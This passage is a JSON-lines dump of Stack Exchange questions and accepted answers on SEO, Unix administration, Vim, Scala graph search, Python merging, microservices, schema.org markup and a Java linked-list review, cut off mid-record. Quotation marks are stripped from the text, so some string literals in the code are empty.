{  "id": "_webmaster.60546"  , "question": "I have two different versions of my site: a desktop version, and a mobile optimised version. That is, for the same URL, the server renders different HTML for different user agents. I had been using vary header for this scheme as recommended by Google.However, now I want to move the mobile website to a single page application.I want to know if Google stops seeing anything on my mobile web version but the desktop version continues to work as it is, then how would the search rank be impacted given that mobile web gets more traffic than the desktop version. How would the vary header come into play"  , "title": "How will search rankings get impacted if I move my mobile website to a single page application?"  , "tags": "seo;google search"  } 
{  "id": "_webapps.86417"  , "question": "So I know how to get google spreadsheets to automate dates down a column. Write a date, left click on the crosshair in the bottom right hand corner, drag down and let go. The thing I'm hoping to do though is have, say, ten (or any given amount rows down a column of todays date, then ten of tomorrows date, and so on down indefinitely. It's for inputting sales data. If it's not possible thanks anyway."  , "title": "Date automation down columns"  , "tags": "google spreadsheets;date"  } 
{  "id": "_webmaster.7093"  , "question": "I am currently a CS student and an aspiring programmer/web developer. I am wondering whether it is worth taking the time to master html and css to make websites when these CMS services/wysiwyg editors (wordpress, squarespace) seem to be becoming more and more functional. Does anyone think these publishing services might eventually make the need to design websites from raw code unnecessary? If not, please explain why. If designing a website eventually becomes as simple as using Photoshop I would much rather invest my time in programming languages."  , "title": "html/css vs CMS"  , "tags": "html;css;cms"  , "accepted_answer": "I can't imagine myself using wysiwyg for css and html. If you like to learn to DESIGN you gotta know the 'backend' 'messy' part.Wysiwyg is ok if you are not building something robust.but definitely invest your time in programming languages. thats the engine."  } 
{  "id": "_unix.106215"  , "question": "Found the line \\+::::::/bin/bash in my /etc/passwd, which looks strange to me. What does that mean? Has my computer been hacked?"  , "title": "Whta does '\\+::::::/bin/bash' in /etc/passwd mean?"  , "tags": "users;nis;nsswitch"  , "accepted_answer": "The answer lies in the nsswitch.conf(5) man page:Interaction with +/- syntax (compat mode)Linux libc5 without NYS does not have the name service switch but does allow the user some policy control. In /etc/passwd you could have entries of the form +user or +@netgroup (include the specified user from the NIS passwd map), -user or -@netgroup (exclude the specified user), and + (include every user, except the excluded ones, from the NIS passwd map).You can override certain passwd fields for a particular user from the NIS passwd map by using the extended form of +user:::::: in /etc/passwd. Non-empty fields override information in the NIS passwd map.Since most people only put a + at the end of /etc/passwd to include everything from NIS, the switch provides a faster alternative for this case (passwd: files nis) which doesnt require the single + entry in /etc/passwd, /etc/group, and /etc/shadow. If this is not sufficient, the NSS compat service provides full +/- semantics. By default, the source is nis, but this may be overridden by specifying nisplus as source for the pseudo-databases passwd_compat, group_compat and shadow_compat. These pseudo-databases are only available in GNU C Library.Assuming that your /etc/nsswitch.conf contains passwd: compat, I believe that that line means include all NIS users, but override the login shell to /bin/bash."  } 
{  "id": "_unix.256541"  , "question": "I am trying to use motion software (but I could use just any other linux software) in order to log some manual work by snapshots. So imagine I want to make a stop-motion film with my LEGO(r) toys (just an example, but for better understanding), and my webcam should take one snapshot when my hands get out of the way. There are tons of docs in the Internet to achieve the opposite (record when move detected), but none this way:wait until there is movement in the field of viewdetect movement, so wait until movement stopsmovement stops, so take an snapshot.Is this possible with motion, cheese, or other webcam software?"  , "title": "using motion to trigger snapshot when movement stops"  , "tags": "camera;snapshot;motion"  } 
{  "id": "_webmaster.99490"  , "question": "I've seen several research lab/universities websites that have a webpage for each researcher (in which there is kind of a CV + links to personal content, etc.). URLs of these pages are named after following pattern: www.example.com/~name. (e.g. www.example.com/~doe and www.example.com/~mustermann for John Doe and Erika Mustermann, respectively).My question is: why is there a ~ before name? Is it related to GNU/Linux ~ home folder? Is there a convention for that?"  , "title": "Why do URLs of personal pages use the pattern: /~name?"  , "tags": "url"  } 
{  "id": "_vi.10031"  , "question": "I often find scrolling a full page too disorienting, half a page too much, but a quarter page is just right. I currently do it just by holding down the arrow keys.How do I scroll 25% of the page down and up easily?"  , "title": "Scroll a quarter (25%) of the screen up or down"  , "tags": "cursor movement;scrolling"  , "accepted_answer": "Maybe ctrld and ctrlu could be what you are looking for. By default then move half of the screen.From :h CTRL-D:Scroll window Downwards in the buffer.  The number of  lines comes from the 'scroll' option (default: half a  screen).If [count] given, first set 'scroll' option  to [count].Which means that the first time you want to scroll in a window you can do XXctrld where XX is the 25% of the number of lines in your window. As it sets scroll to the XX value you can then use ctrld and ctrlu to move 25% of the screen.Also I think that :h scrolling might be interesting for you.EditAnd here is another solution with a function and some mappings to add to your vimrc:function! ScrollQuarter(move)    let height=winheight(0)    if a:move == 'up'        let key=^Y    else        let key=^E    endif    execute 'normal! ' . height/4 . keyendfunctionnnoremap <silent> <up> :call ScrollQuarter('up')<CR>nnoremap <silent> <down> :call ScrollQuarter('down')<CR>The function will get the height of the current window, and accordingly to its parameter will scroll the screen up or down of one quarter of the height.Important note On the lines let key=^Y and let key=^E, you have to enter manually ^Y and ^E. To do so use the key combinations CTRL+vCTRL+y and CTRL+vCTRL+e. If you simply copy these lines vim will understand the command as the literal characters ^ followed by y whereas what we want is Vim to use the keycode ^Y which represent the code sent by the terminal when you press ctrlyThe mappings will call the function, the first one to go up and the second one to go down.Of course you can change <up> and <down> to some other keys if you want to keep the default behavior of your arrow keys."  } 
{  "id": "_cs.78043"  , "question": "In C++ a simple function like int id_int(int x){return x;}has type id_int :: int->inta class template liketemplate<class T>class List<T>{...};has kind List :: *->*But what is the type or kind of a function template liketemplate<class T>T id(T x){return x;}Could it be id :: \\x. x->x? Does this even make sense?"  , "title": "Type of a function template?"  , "tags": "type theory"  , "accepted_answer": "A function like T id(T x){return x;} is actually a (parametrically) polymorphic function, and there are many frameworks that allow assigning a type to such beasts.One of the most popular frameworks to talk about such things is system F, which allows expressing the type of the above statement as: $$\\forall T:*.\\ T\\rightarrow T$$This requires the ability to quantify over types to form other types, which is the main feature of system F. Note that because id is a value, it's type has itself a kind, that is$$\\forall T:*.\\ T\\rightarrow T\\ \\ :\\ \\ * $$in keeping with the analogy with List, whose kind is, as you noted, $*\\rightarrow *$, which makes it a type constructor.Note also that the List type constructor is not a term in system F, for that you need to go further out to system ${F}_\\omega$, which was designed in part to study how polymorphism and type constructors may interact."  } 
{  "id": "_unix.10855"  , "question": "Is it possible to create a guest account in Linux? by guest account I mean an account that does not require a password to log in graphically.I want this account for when people come over and are like can I use your computer to check my email. Then I don't have to worry about them snooping my stuff.I realize that some of this may require doing stuff specific to the login manager, since I wouldn't be surprised that this is a common problem, it'd be best to include instructions for xdm, kdm, and gdm and any other login managers that I haven't listed."  , "title": "Can I create a local only guest account?"  , "tags": "security;pam;account restrictions;login manager"  } 
{  "id": "_codereview.29699"  , "question": "I would love it if someone could give me some suggestions for these 2 graph search functions. I am new to scala and would love to get some insight into making these more idiomatic.  type Vertex=Int  type Graph=Map[Vertex,List[Vertex]]  val g: Graph=Map(1 -> List(2,4), 2-> List(1,3), 3-> List(2,4), 4-> List(1,3)) //example graph meant to represent //  1---2 //  |   | //  4---3//I want this to return results in the different layers that it finds them (hence the list of list of vertex)     def BFS(start: Vertex, g: Graph): List[List[Vertex]]={  val visited=List(start)  val result=List(List(start))  def BFS0(elems: List[Vertex],result: List[List[Vertex]], visited: List[Vertex]): List[List[Vertex]]={    val newNeighbors=elems.flatMap(g(_)).filterNot(visited.contains).distinct    if(newNeighbors.isEmpty) result    else BFS0(newNeighbors, newNeighbors :: result, visited ++ newNeighbors)    }  BFS0(List(start),result,visited).reverse   }//I would really appreciate some input on DFS, I have the feeling there is a way to do this sans var. def DFS(start: Vertex, g: Graph): List[Vertex]={    var visited=List(start)    var result=List(start)  def DFS0(start: Vertex): Unit={     for(n<-g(start); if !visited.contains(n)){       visited=n :: visited        result=n :: result        DFS0(n)  }}   DFS0(start)   result.reverse     } //some examplesscala> BFS(1,g)res84: List[List[Vertex]] = List(List(1), List(2, 4), List(3))scala> BFS(2,g)res85: List[List[Vertex]] = List(List(2), List(1, 3), List(4))scala> DFS(1,g)res86: List[Vertex] = List(1, 2, 3, 4)scala> DFS(3,g)res87: List[Vertex] = List(3, 2, 1, 4)"  , "title": "BFS and DFS in Scala"  , "tags": "scala;graph"  , "accepted_answer": "OK, so I'm going to start with your DFS method.  You're right - you should be able to do it without those vars in the outer function.  You should be able to work out why - after all, you have vals in the outer layer of your BFS method.  Why?  Because your BFS uses a recursive helper function, so the vals are only used once (and could be discarded).So your DFS function should really use recursion, but I suspect you may have rejected recursion because you couldn't see how visited would be properly preserved as a recursive function popped back and forth.  The answer is foldLeft.def DFS(start: Vertex, g: Graph): List[Vertex] = {  def DFS0(v: Vertex, visited: List[Vertex]): List[Vertex] = {    if (visited.contains(v))      visited    else {      val neighbours:List[Vertex] = g(v) filterNot visited.contains       neighbours.foldLeft(v :: visited)((b,a) => DFS0(a,b))    }   }  DFS0(start,List()).reverse} I don't have space here to explain foldLeft, if you've never encountered it - maybe Matt Malone's blog post will help.  You can rewrite almost anything with foldLeft, although it isn't always a good idea.  Definitely the right thing to do here, though.  Notice that I completely dropped your result var since visited is the result, the way you are doing this.My version of your DFS method is entirely functional, which is how Scala really wants to be used.  Note also the lack of braces and brackets in val neighbours:List[Vertex] = g(v) filterNot visited.containsIt can be written val neighbours:List[Vertex] = g(v).filterNot(visited.contains)but the Scala style is to omit the brackets and braces except where essential.Your BFS method is similarly over-populated.  I've slimmed it down a little without altering the basic way it works:def BFS(start: Vertex, g: Graph): List[List[Vertex]] = {  def BFS0(elems: List[Vertex],visited: List[List[Vertex]]): List[List[Vertex]] = {    val newNeighbors = elems.flatMap(g(_)).filterNot(visited.flatten.contains).distinct    if (newNeighbors.isEmpty)       visited    else      BFS0(newNeighbors, newNeighbors :: visited)  }  BFS0(List(start),List(List(start))).reverse} It still gives the same results.The other big point to make is that while Scala is a functional language it is also an Object Oriented language.  Those DFS and BFS methods should belong to a graph object, preferably at least derived from a generic class.  Something like this:class Graph[T] {  type Vertex = T  type GraphMap = Map[Vertex,List[Vertex]]  var g:GraphMap = Map()  def BFS(start: Vertex): List[List[Vertex]] = {    def BFS0(elems: List[Vertex],visited: List[List[Vertex]]): List[List[Vertex]] = {      val newNeighbors = elems.flatMap(g(_)).filterNot(visited.flatten.contains).distinct      if (newNeighbors.isEmpty)        visited      else        BFS0(newNeighbors, newNeighbors :: visited)    }    BFS0(List(start),List(List(start))).reverse  }  def DFS(start: Vertex): List[Vertex] = {    def DFS0(v: Vertex, visited: List[Vertex]): List[Vertex] = {      if (visited.contains(v))        visited      else {        val neighbours:List[Vertex] = g(v) filterNot visited.contains        neighbours.foldLeft(v :: visited)((b,a) => DFS0(a,b))      }    }    DFS0(start,List()).reverse   }}And then you could do this:scala> var intGraph = new Graph[Int]scala> intGraph.g = Map(1 -> List(2,4), 2-> List(1,3), 3-> List(2,4), 4-> List(1,3))scala> intGraph.BFS(1)res2: List[List[Int]] = List(List(1), List(2, 4), List(3))scala> intGraph.BFS(2)res3: List[List[Int]] = List(List(2), List(1, 3), List(4))scala> intGraph.DFS(3)res4: List[Int] = List(3, 2, 1, 4)or this:scala> var sGraph = new Graph[String]scala> sGraph.g = Map(Apple -> List (Banana,Pear,Grape), Banana -> List(Apple,Plum), Pear -> List(Apple,Plum), Grape -> List(Apple,Plum), Plum -> List (Banana,Pear,Grape))scala> sGraph.BFS(Apple)res6: List[List[java.lang.String]] = List(List(Apple), List(Banana, Pear, Grape), List(Plum))"  } 
{  "id": "_unix.117582"  , "question": "People!Trying to install little PDF presentation soft (https://github.com/TrilbyWhite/Slider). When trying to do make I get this: slider.h:9:21: fatal error: poppler.h: No such file or directoryif I go to slider.h and change the #include<poppler.h> to <#include </usr/include/poppler/glib/poppler.h>, then I get:/usr/include/poppler/glib/poppler.h:22:25: fatal error: glib-object.h: No such file or directory  #include <glib-object.h>So maybe could someone help me with this. Is it just unsatisfied dependencies or what?"  , "title": "Poppler.h fatal error while installing Slider from git on Tanglu (Debian)"  , "tags": "debian;make"  , "accepted_answer": "On wheezy I getroot@orwell:/home/faheem# apt-file search poppler.hemscripten: /usr/share/emscripten/tests/poppler/glib/poppler.hemscripten: /usr/share/emscripten/tests/poppler/glib/reference/html/poppler-poppler.htmlemscripten-doc: /usr/share/emscripten/demos/poppler.htmllibpoppler-glib-dev: /usr/include/poppler/glib/poppler.hlibpoppler-glib-dev: /usr/share/doc/libpoppler-glib-dev/html/poppler/poppler-poppler.htmllibpoppler-glib-doc: /usr/share/gtk-doc/html/poppler/poppler-poppler.htmlDo you have libpoppler-glib-dev or similar installed?Also, did you really mean<#include </usr/include/poppler/glib/poppler.h>? I think you want something like#include <poppler/glib/poppler.h>"  } 
{  "id": "_cstheory.22455"  , "question": "A colleague of mine recently interviewed for a software engineering job, and he was given a problem regarding unique identifier creation and testing for validation.So, the problem is: if a generated  unique-identifier, let's say an order id provided online by an ecommerce site, is provided to a customer, and when the customer attempts to lookup the order, they have inadvertently transposed two characters, how to quickly test that the id is invalid, and how to create an id such that the transposition of two characters does not represent another valid id.I want to know what class of problem is this (not in the complexity sense but categorically) and what are general methods that attempt to solve it. Looking for variations on the theme of unique identifier and invalidation on google has not produced interesting results. I am hoping someone here might lead me in the right direction to learn more about this kind of problem.I hope I have found the right forum for posing the question, and apologies if I have not."  , "title": "Unique Identifier Creation and Invalidation"  , "tags": "string matching"  , "accepted_answer": "Looks like some Data integrity check stuff.For example adding something like CRC16 (4hex digits) will allow filter ID with typos"  } 
{  "id": "_scicomp.24293"  , "question": "I've recently finished an introductory course on the finite element method from a more mathematical perspective (following Brenner and Scott) and we were introduced to the finite element mass matrix in elliptic problems as the matrix arising from terms without a derivative. For example, a one-dimensional Helmholtz type equation with the form$$-u(x)'' + au(x) = f(x), \\quad 0 < x < 1, \\quad a>0\\\\ u(0) = u(1) = 0$$has a corresponding weak formulation that requires us to find $u$ such that$$\\int_0^1 u' v'dx + a\\int_0^1uv dx = \\int_0^1fvdx \\quad \\forall v \\in H^1_0$$where $H^1_0 = \\{v \\in H^1 : v(0) = v(1) = 0\\}$.Choosing $S \\subset H^1_0$ to be a conforming finite dimensional subset with a basis $\\{ \\phi_i \\}_{i=1}^N$, and saying $u = \\sum_{j = 0}^N u_j \\phi_j $, we get the linear problem$$(\\pmb{K} + a \\pmb{M})U = F $$where $K_{ij} = \\int_0^1 \\phi_i' \\phi_j' dx$ is the stiffness matrix and $M_{ij} = \\int_0^1 \\phi_i \\phi_j dx$ is the mass matrix. The finite element method typically proceeds by choosing $S$ to be the space of piecewise polynomials for example. This formulation extends naturally to higher dimensions.From this previous post: How to formulate lumped mass matrix in FEM, there are various ways to lump the mass matrix. For example, by summing the off-diagonal terms: $M_{ii} = \\sum M_{ij}$.My question is what is the justification of this? Is there mathematical reasoning why this should give a consistent method? Is there a way to quantify the error introduced by doing this? I've seen an explanation that justifies mass matrix lumping in the context of mechanics where this assumption implies that the mass of the system is concentrated at discrete points, but how does this generalize to more general elliptic PDE problems?"  , "title": "Effects of Lumping Mass Matrix"  , "tags": "finite element;pde;matrix"  } 
{  "id": "_codereview.148961"  , "question": "Inputs are two sorted lists (of the same length) of numbers. I would like to return a new merged, sorted new list. I have written the following code, but most lines are used to deal with the end case. I am wondering if there is any better way to write it.def merge(array1,array2):    result = [0]*len(array1)*2    i = 0 # left index    j = 0 # right index    for k in range(0,len(result)):        # when none of the pointer is at the end of the list        if i != len(array1)-1 and j != len(array2)-1:            if array1[i] < array2[j]:                result[k] = array1[i]                i = i + 1            elif array1[i] > array2[j]:                result[k] = array2[j]                j = j + 1        # the following codes are used to deal with the end cases.        # possible to write it more compactly?        elif i == len(array1)-1:            if j > len(array2)-1:                result[-1] = array1[-1]                return result            elif array1[i] < array2[j]:                result[k] = array1[i]                result[k+1:] = array2[j:]                return result            else:                result[k] = array2[j]                j = j + 1        elif j == len(array2)-1:            if i > len(array1)-1:                result[-1] = array2[-1]            elif array2[j] < array1[i]:                result[k] = array2[j]                result[(k+1):] = array1[i:]                return result            else:                result[k] = array1[i]                i = i + 1    return result"  , "title": "Merge two sorted lists of numbers"  , "tags": "python;algorithm;reinventing the wheel;mergesort"  , "accepted_answer": "If you only want to support same-length array, you should do so explicitly, either by returning and empty list or an error codeIt's harder to read if you have to go back in the code to check what i, j and k mean.I find it's better to remove the comment and rename the variables to a more significant name:left_index = 0right_index = 0for result_index in range(0,len(result)):This means maybe you could also rename array1 and array2 to left_array and right_arrayIf you keep using the result of a function, just store it. Also, the length of the two arrays is supposed to be the same, so no need to make a distinction between len(array1) and len(array2)This check is easier to read if you invert it, leaving this as the else case.Something like:    # the following codes are used to deal with the end cases.    # possible to write it more compactly?    if left_index == len(left_array)-1:        [...]    elif right_index == len(right_index)-1:        [...]    else:        if left_array[left_index] < right_index[right_index]:            result[merged_index] = left_array[left_index]            left_index = left_index + 1        elif left_array[left_index] > right_index[right_index]:            result[merged_index] = right_index[right_index]            right_index = right_index + 1return resultBut, as @Simon said, you don't need all that code, because you're putting a lot of restrictions on the input data. They have to be the same length and the have to be sorted. Something like this should also work:def merge(left_array, right_array):    if (len(left_array) != len(right_array)):        return []    array_length = len(left_array)    result_length = array_length * 2    result = [0] * result_length    left_index = 0    right_index = 0    for result_index in range(0, result_length):        if (left_index < array_length) and (left_array[left_index] <= right_array[right_index]):            result[result_index] = left_array[left_index]            result[result_index+1:] = right_array[right_index:]            left_index += 1        elif (right_index < array_length):                result[result_index] = right_array[right_index]                right_index += 1    return result"  } 
{  "id": "_softwareengineering.338328"  , "question": "TL;DR - What criteria should you use to decide whether to 'do micro services'?I lead a team of developers and one of them insists that we adopt a micro services approach to architecture. I was hesitant at first, because I had been coding under a rock for several years and never knew that micro services was a thing.I began to warm up to the idea but I still don't think that a micro services approach is warranted in our case. We won't ever be servicing millions of users and there's only 5 of us so it's not like we're going to have full teams dedicated to such fine-grained services.We have a web based network management portal that we build and maintain. There are number of other applications that handle different things like VOIP call billing, Netflow collection, SNMP based usage collection etc. I wouldn't call these micro services as they're a bit more coarse than the fine-grained responsibilities that micro services appear to have.Should all dev teams everywhere 'do' micro services? If not, how do you decide whether micro services are appropriate for your environment?"  , "title": "How to decide whether to adopt a micro services approach"  , "tags": "microservices"  , "accepted_answer": "If not, how do you decide whether micro services are appropriate for your environment?Simply via pain. It sounds unusual, but is from my perspective a valid indicator, that something is going wrong.If you look at the reasons, why microservices are all the rage, there is a historical dimension to it which plays a big part.Usually succesful projects go like this:1) Start with a prototype2) Flesh out prototype3) Get business going4) Enormous growth which results in 4a) A big number of features are cranked out4b) Codebase growth beyond control5) PAIN starts: scheduling of deployments become a nightmare, dependend subsystems could not be deployed separately6) RELIEF Microservices FTWDividing the whole codebase in easy deployable components.The question you are asking is a good indicator, that you are not experiencing pain on such a level, that it would be necessary to move to microservices.Doing microservices is not without a price. Your system will definitively increase in terms of complexity. When you have a monolith, your world is plain simple: Call a method, do stuff, get results after a precalculatable amount of timeWhen you are dealing with microservices, you jump right into the mud of distributed systems: Call me maybe Things which are certain in a monolith, become uncertain in a microservice world.The reason, why the microservice approach was chosen by many big companies is simple: dealing with the problems of distributed systems was simpler than scaling their monolith. Of course: from an architectural point of view, a bunch of separated units looks cleaner (on paper) than a hairball of a monolith.I lead a team of developers and one of them insists that we adopt a micro services approach to architecture.I would ask him what would change (better or worse) in your concrete scenario.We won't ever be servicing millions of users and there's only 5 of us so it's not like we're going to have full teams dedicated to such fine-grained services.I do not see a (direct) problem here. Splitting up your codebase into separate deployable parts has nothing to do with team size. The codebase as such would be nearly the same. If your team handles the codebase now, it should be possible to do it after the migration. What is necessary, besides splitting up the codebase, is: educating your team in terms of how to deal with problems of distributed systems. This is an investment to make.We won't ever be servicing millions of users and there's only 5 of us so it's not like we're going to have full teams dedicated to such fine-grained services.I wouldn't call these micro services as they're a bit more coarse than the fine-grained responsibilities that micro services appear to have.Microservices have nothing to do with millions of users - though with problems of deploying a codebase facing a million of users. More: Despite the term micro, the services must not only be 100 Lines long or so - which is one, but not the only reason for calling it micro.I like the term focussed service much more. That's what it is: in terms of separation of concerns such a service deals with one topic.tl;drIf you do not have any problem running your current system, you shouldn't make a switch.  "  } 
{  "id": "_unix.134170"  , "question": "I am using a laptop and Putty on a Windows system.When I connect to my Debian Squeeze server in Bash environment, I can use the Pos1/Home or End (at the numlock part of the keyboard) to navigate through the commandline I am just writing.However, when I create a subshell using screen, I cannot use Pos1/Home or End anymore. Pressing Num-Lock does not help."  , "title": "No numlock in screen?"  , "tags": "bash;debian;gnu screen;putty;numlock"  , "accepted_answer": "I have found the reason why it didn't work.In the PuTTy configuration I had to change the session settings as follows:Connection -> Data -> Terminal details -> Terminal-type stringThe value was: xtermI changed it to linuxNow I can use the Home+End keys in Bash and in Screen as well.echo $TERM will show linux outside screen and screen.linux inside screen."  } 
{  "id": "_webmaster.81665"  , "question": "What is the correct usage of using the Brand schema from schema.org?I have a website that sells clothes. I have a brands page where I list all the brands for which I have products on my website, for example like Levi, Calvin Klein, etc. If you click on any of these names I take you to the brand details page (on my website) that lists products that I have for sale on my website for that brand. A link would look something like thiswww.example.com/brands (list)www.example.com/brands/levi (details)www.example.com/brand/calvin-klein (details)Given my scenario above, on the brand details page, do I have to use the Brand schema from schema.org? Or should I just use it for my own brand, namely my website? This is what I currently have:<div class=container>     <div itemscope itemtype=http://schema.org/Brand>          <h1 itemprop=name>Calvin Klein</h1>          <p itemprop=description>blah blah blah</p>     </div></div>If I were to include a URL, do I need to link it to my URL on my website, or to the brand's website?"  , "title": "Correct usage of Brand from schema.org"  , "tags": "seo;html;html5;microdata"  , "accepted_answer": "What is the correct usage of using the brand schema from schema.org?There is not one correct usage  it depends on what you want to convey.If you want to say something about a brand, you can use Schema.orgs Brand type.The Product type has the property brand, which takes a Brand item as value. This would allow you to reference the Brand from each of your Product items, for example by using Microdatas itemref attribute:<div itemprop=brand itemscope itemtype=http://schema.org/Brand id=brand-ck>  <h1 itemprop=name>Calvin Klein</h1>  <p itemprop=description>blah blah blah</p></div><article itemscope itemtype=http://schema.org/Product itemref=brand-ck>  <!-- product 1 --></article><article itemscope itemtype=http://schema.org/Product itemref=brand-ck>  <!-- product 2 --></article>If I were to include a url, do I need to link it to my url on my website, or to the band's website?The url property takes the URL of the item. This does not have to be the items official website (if it has one at all). On your site, you could specify the URL of your page about this brand.If you want to link to the brands official website, you could use the sameAs property (bold emphasis mine):URL of a reference Web page that unambiguously indicates the item's identity. E.g. the URL of the item's Wikipedia page, Freebase page, or official website."  } 
{  "id": "_unix.212871"  , "question": "Based on hostapd, I m building a captive portal.- My Linux Machine provides a Wifi access.- iPad's and Android clients-tablets connect this Wifi.Generally, any client OS check if a url is reachable, if not : client OS states it is captive, and displays a popup browser window. Popup is used for login, presentation or else.Id like to display such a popup, to present my machine's service.But I dont get it. I ve avoided the net forward though. All connexions are redirected in the machine localhost website.Why dont I get such a popup ? How to get it ? How/Where should I implement it on my localhost ?// link to something in the same context: https://bugzilla.mozilla.org/show_bug.cgi?id=562917Captive portal [HostApd] detection by the browser?when popup show happens, how its content is defined ? You see what I mean ? For instance, a restaurant captive portal asks for your secret number on your note, where this page is stored ? how the OS know the URL to display in the popup ? That s really my quest"  , "title": "Captive portal detection, popup implementation?"  , "tags": "linux;wifi;io redirection;authentication;hostapd"  } 
{  "id": "_cogsci.15330"  , "question": "As mentioned in this answer, it's possible to generate an fMRI BOLD signal from neurotransmitter consumption. What equation would be appropriate for this use?"  , "title": "Generate fMRI from neurotransmitter consumption"  , "tags": "theoretical neuroscience;fmri"  , "accepted_answer": "The simplest equation for getting a BOLD signal from neurotransmitter that I could find was in Tracing Problem Solving in Real Time: fMRI Analysisof the Subject-paced Tower of Hanoi, which itself references many other publications where it was used:$$H(t)= m \\times(t/s)^a\\times e^{-(t/s)}$$The parameters $s$, $a$ and $m$ don't have an explicit meaning. Heuristically, from the text:$m$ is the magnitude of the response and $s$ is a time scale. The function  peaks at time $a \\times s$. The parameter a determines the shape of the  function such that the larger $a$ is the more narrowly the function will  be distributed around its peak.So it seems you have to fit it to some previous data in the area you're trying to generate data from before it can be used."  } 
{  "id": "_codereview.150845"  , "question": "I have to implement a double linked list as an exercise for a further education.There are three interfaces which have to be implemented:IValueElementpackage schnittstellen; // schnittstellen == interfacespublic interface IValueElement{    public String getName();    public void setName (String paramName);    public int getValue() ;    public void setValue(int paramValue);}IListElementpackage schnittstellen; public interface IListElement{    public IValueElement getValueElement();    public void setValueElement(IValueElement value);    public IListElement getPredecessor();    public void setPredecessor (IListElement predecessor);    public IListElement getSuccessor();    public void setSuccessor (IListElement successor);}IListpackage schnittstellen; public interface IList{    public IListElement getHead ( ) ;    public void insertAtTheEnd(IValueElement value);    public void insertAtPos(int pos , IValueElement value);    public IValueElement getElementAt(int position);    public int getFirstPosOf(IValueElement value);    public void deleteFirstOf(IValueElement value);    public void deleteAllOf(IValueElement value);    public boolean member (IValueElement value);    public void reverse();    public String toString();}Requirements for the implementation of IList:Has a default constructor.Head of the list isn't allowed to become null.A dummy element has to used as 0th element of the list.The predecessor reference of the the head has to point to the last element of the list.Here are my implementations of the interfaces:Class IValueElementpackage implementierung;import schnittstellen.IValueElement;public class ValueElement implements IValueElement{    private String name;    private int value;    public ValueElement(String name, int value) {        if (name == null) {            this.name = ;        } else {            this.name = name;        }        this.value = value;    }    public String getName() {        return this.name;    }    public void setName(String paramName) {        if (name == null) {            this.name = ;        } else {            this.name = paramName;        }    }    public int getValue() {        return this.value;    }    public void setValue(int paramValue) {        this.value = paramValue;    }    public String toString() {        return Name :  + this.name + ,                 + Value :  + this.value;    }}Class IListElementpackage implementierung;import schnittstellen.IListElement;import schnittstellen.IValueElement;public class ListElement implements IListElement{    private IValueElement valueElement;    private IListElement predecessor;    private IListElement successor;    public ListElement(IValueElement value) {        if (value == null) {            value = new ValueElement(, 0);        }         this.valueElement = value;        this.predecessor = null;        this.successor = null;    }    public IValueElement getValueElement() {        return this.valueElement;    }    public void setValueElement(IValueElement value) {        if (value == null) {            value = new ValueElement(, 0);        } else {            this.valueElement = value;        }    }    public IListElement getPredecessor() {        return this.predecessor;    }    public void setPredecessor (IListElement predecessor) {             this.predecessor = predecessor;    }    public IListElement getSuccessor() {        return this.successor;    }    public void setSuccessor(IListElement successor) {        this.successor = successor;    }}Class Listpackage implementierung;import schnittstellen.IList;import schnittstellen.IListElement;import schnittstellen.IValueElement;public class List implements IList{    private IListElement head;    private IListElement end;    private int length;    public List() {        this.head = new ListElement(new ValueElement(Dummy, 0));        this.end = this.head;        this.length = 1;    }    public IListElement getHead() {        return this.head;    }    private ListElement createListElement(IValueElement value) {        if (value == null) {            return new ListElement(new ValueElement(, 0));        } else {            return new ListElement(value);        }    }    public void insertAtTheEnd(IValueElement value) {                 ListElement newElement = createListElement(value);        IListElement currentEnd = this.end;        currentEnd.setSuccessor(newElement);               newElement.setPredecessor(currentEnd);        this.end = newElement;          this.length++;    }    @Override    public void insertAtPos(int pos , IValueElement value) {        ListElement newElement = createListElement(value);        if (pos <= 1) {                     newElement.setSuccessor(this.head.getSuccessor());            newElement.setPredecessor(this.head);            this.head.setSuccessor(newElement);        } else if (pos > this.length) {            newElement.setSuccessor(null);            newElement.setPredecessor(this.end);            this.end = newElement;        } else {            IListElement currentElement = this.head;            for (int i = 1; i <= pos; i++) {                currentElement = currentElement.getSuccessor();                if (i == pos) {                    IListElement predecessor = currentElement.getPredecessor();                     newElement.setPredecessor(predecessor);                    newElement.setSuccessor(currentElement);                    predecessor.setSuccessor(newElement);                    currentElement.setPredecessor(newElement);                    break;                }            }        }        this.length++;    }    public IValueElement getElementAt(int position) {        if (position <= 0 || position > this.length) {            return null;        } else if (position == 1) {            return this.head.getSuccessor().getValueElement();        } else {            IListElement ret = this.head;            for (int i = 1; i < position; i++) {                ret = ret.getSuccessor();            }            return ret.getSuccessor().getValueElement();        }    }    public int getFirstPosOf(IValueElement value) {        IListElement currentElement = this.head;        int i = 1;        while ((currentElement = currentElement.getSuccessor()) != null) {               IValueElement currentValueElement =                    currentElement.getValueElement();            if (value == currentValueElement) {                return i;            }            i++;        }        return -1;    }    public void deleteFirstOf(IValueElement value) {        IListElement currentElement = this.head;        while ((currentElement = currentElement.getSuccessor()) != null) {            IValueElement currentValueElement =                    currentElement.getValueElement();            if (value == currentValueElement) {                IListElement predecessor = currentElement.getPredecessor();                IListElement successor = currentElement.getSuccessor();                predecessor.setSuccessor(successor);                // Successor? => Then it is NOT the last element in the list.                if (successor != null) {                    successor.setPredecessor(predecessor);                } else {                    this.end = predecessor; // In case it's the last element in the list it becomes the new end.                }                this.length--;                return;            }        }    }    public void deleteAllOf( IValueElement value) {        IListElement currentElement = this.head.getSuccessor();        while (currentElement != null) {            IValueElement currentValueElement =                    currentElement.getValueElement();            if (value == currentValueElement) {                IListElement predecessor = currentElement.getPredecessor();                IListElement successor = currentElement.getSuccessor();                predecessor.setSuccessor(successor);                if (successor != null) {                    successor.setPredecessor(predecessor);                } else {                    this.end = predecessor;                }                currentElement = successor;                this.length--;            } else {                currentElement = currentElement.getSuccessor();            }            }    }    public boolean member (IValueElement value) {        IListElement currentElement = this.head;        while ((currentElement = currentElement.getSuccessor()) != null) {            IValueElement currentValueElement =                    currentElement.getValueElement();            if (value == currentValueElement) {                return true;            }        }        return false;    }    public void reverse() {        IListElement currentElement = this.head.getSuccessor();        IListElement currentNext = currentElement;               IListElement currentFirst = currentElement;        while (currentNext != null) {            currentNext = currentElement.getSuccessor();            if (this.getHead() == currentElement.getPredecessor()) {                currentElement.setSuccessor(null);                currentElement.setPredecessor(currentNext);            } else if (currentNext != null) {                currentElement.setSuccessor(currentElement.getPredecessor());                currentElement.setPredecessor(currentNext);            } else {                currentElement.setSuccessor(currentElement.getPredecessor());                currentElement.setPredecessor(this.head);            }            currentElement = currentNext;        }        this.head.setSuccessor(this.end);        this.head.setPredecessor(currentFirst);        this.end = currentFirst;    }    @Override    public String toString() {        IListElement currentElement = this.head;        String ret = Head:  + 